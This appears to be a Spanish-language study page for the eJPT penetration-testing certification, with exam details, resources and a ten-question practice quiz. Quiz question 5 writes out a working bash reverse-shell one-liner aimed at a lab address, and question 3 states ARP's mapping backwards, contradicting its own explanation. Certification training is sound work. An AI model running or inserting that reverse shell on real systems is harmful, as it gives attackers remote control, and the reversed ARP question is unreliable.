eJPTv2Fundamental· INE

eLearnSecurity Junior Penetration Tester (eJPT)

Una certificación de seguridad ofensiva 100% práctica. Te evalúa hackeando una red real para responder preguntas de auditoría técnica.

Datos del examen

Valores aproximados. Confirmá siempre en la guía oficial vigente.

Preguntas

Duración

240 min

Aprobás con

70%

Costo aprox.

USD 250

Validez

3 años

Formato

Examen práctico en laboratorio interactivo real (35 preguntas basadas en hallazgos)

Recursos recomendados

Materiales seleccionados de alta calidad para dominar la teoría. La mayoría son gratuitos.

INE · courseDe pago

Penetration Testing Student (PTS) Path

La ruta de entrenamiento oficial y detallada diseñada por INE para aprobar el examen práctico.

Acceder al recurso→

freeCodeCamp / YouTube · videoGratis

Free Ethical Hacking Course

Curso completo introductorio de pentesting de 15 horas que repasa redes, scripts y ataques prácticos.

Acceder al recurso→

Consejos estratégicos para el examen

▪Aprendé a usar Nmap de manera eficiente (velocidades, tipos de escaneo) para descubrir servicios y puertos.
▪Dominá el uso básico de Metasploit, pero entendé la explotación manual de fallos web como SQLi e IDOR.
▪Familiarizate con el enrutamiento de red (pivoting) en entornos multi-red durante la fase de post-explotación.

Qué vas a poder hacer

Lo que valida la certificación una vez que la tenés.

Realizar escaneos de red activos y pasivos de manera segura.
Identificar y explotar vulnerabilidades web clásicas (OWASP Top 10).
Ejecutar exploits públicos y comprender su funcionamiento interno.
Realizar ataques de red básicos (ARP spoofing, cracking de contraseñas).

Dominios del examen

Cada área ponderada. Completá los labs sugeridos para dominar cada dominio práctico.

Metodología y evaluación25%
Reconocimiento e información25%
Labs prácticos recomendados:
DNS paso a paso: de un nombre a una IP
Ataques a redes e infra25%
Labs prácticos recomendados:
Docker socket to host: cuando el contenedor toca el sistema Por qué chmod 777 es un problema, no una solución
Ataques a aplicaciones web25%
Labs prácticos recomendados:
SQL injection defensiva: queries parametrizadas IDOR: el ataque de cambiar un número XSS local defensivo: source, sink y output encoding

Rutas de estudio sugeridas

Caminos guiados para organizar tu preparación global.

Ciberseguridad PrácticaCiberseguridad es entender cómo fallan los sistemas.Redes e InternetUna request no es magia.Linux RealLinux no es la estética de una distro. Es cómo entendés sistemas.

Examen de práctica

Respondé las preguntas simuladas y evaluá tu nivel. Cada respuesta tiene feedback inmediato.

Práctica · eJPTv2

10 preguntas · aprobás con 70%

Preguntas propias de práctica, no del examen real.

1. ¿Qué parámetro de Nmap realiza un escaneo de tipo TCP SYN (half-open) rápido y sigiloso?
El flag `-sS` inicia un escaneo SYN (half-open) que no completa el handshake TCP de 3 pasos, reduciendo la probabilidad de ser detectado por logs del host.
2. Encontrás un campo de entrada web vulnerable a XSS que ejecuta código JavaScript en el navegador de cualquier usuario que visite la página. ¿Qué tipo de XSS es?
Si el código dañino se guarda en la base de datos y se muestra a múltiples usuarios persistiendo en la página, es un XSS Almacenado.
3. ¿Qué protocolo de red traduce direcciones MAC a direcciones IP locales?
El protocolo ARP (Address Resolution Protocol) mapea direcciones IP de la capa de red a direcciones físicas MAC de la capa de enlace.
4. ¿Cuál es el propósito principal de la fase de 'Reconocimiento' en un test de penetración?
El reconocimiento (footprinting) recopila información activa y pasiva del objetivo para planificar los ataques posteriores y mapear la superficie expuesta.
5. Si lográs explotar un comando de consola vulnerable e inyectás '/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1' para que el servidor se conecte a tu oyente local. ¿Qué creaste?
Una reverse shell hace que el host víctima inicie la conexión hacia la máquina del atacante, lo que usualmente evade las reglas de firewall entrantes.
6. ¿Qué herramienta es el framework estándar de explotación ofensiva utilizado para buscar exploits, payloads y módulos de escaneo?
Metasploit contiene miles de exploits públicos empaquetados listos para testing y validación de seguridad.
7. Al escanear un puerto web, encontrás que el servidor devuelve el header: 'Server: Apache/2.4.41'. ¿Cómo se llama esta fase?
Banner Grabbing lee los encabezados o respuestas del puerto para identificar la versión exacta del servicio y software corriendo.
8. ¿Qué técnica de inyección permite ejecutar consultas SQL no autorizadas en la base de datos a través de campos de entrada mal saneados?
SQLi ocurre cuando datos provistos por el usuario se concatenan directamente en sentencias SQL, permitiendo alterar la lógica de la base de datos.
9. Si querés descifrar hashes de contraseñas guardados en un archivo de texto de manera local y rápida usando un diccionario de palabras. ¿Qué herramienta usás?
John the Ripper y Hashcat son craqueadores de contraseñas offline muy veloces que comparan hashes de diccionarios con el objetivo.
10. ¿Qué puerto expone por defecto el protocolo SMB (Server Message Block) utilizado para compartir archivos en entornos Windows?
SMB corre comúnmente sobre el puerto TCP 445 en sistemas modernos para compartir archivos e impresoras.

Open Security Labs no está afiliado a INE. eLearnSecurity Junior Penetration Tester (eJPT) y su código son marcas de su dueño. Verificá siempre los dominios vigentes en la guía oficial del examen antes de rendir.